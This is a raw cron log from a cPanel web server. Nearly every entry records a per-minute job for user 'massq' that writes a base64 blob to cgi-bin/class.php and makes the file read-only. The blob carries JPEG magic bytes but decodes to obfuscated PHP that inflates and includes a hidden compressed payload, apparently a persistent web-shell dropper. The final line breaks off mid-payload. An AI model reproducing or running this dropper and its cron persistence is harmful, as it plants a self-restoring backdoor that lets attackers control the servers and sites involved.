Apr  6 20:12:01 server CROND[6316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:13:01 server CROND[6474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:14:01 server CROND[6549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:15:01 server CROND[6627]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 20:15:01 server CROND[6628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:15:01 server CROND[6629]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  6 20:15:01 server CROND[6630]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 20:16:01 server CROND[6742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:17:01 server CROND[6807]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:18:01 server CROND[6933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:19:01 server CROND[7047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:20:01 server CROND[7142]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 20:20:01 server CROND[7144]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 20:20:01 server CROND[7145]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 20:20:01 server CROND[7147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:20:01 server CROND[7146]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 20:21:01 server CROND[7269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:22:01 server CROND[7328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:23:01 server CROND[7410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:24:01 server CROND[7567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:25:01 server CROND[7614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5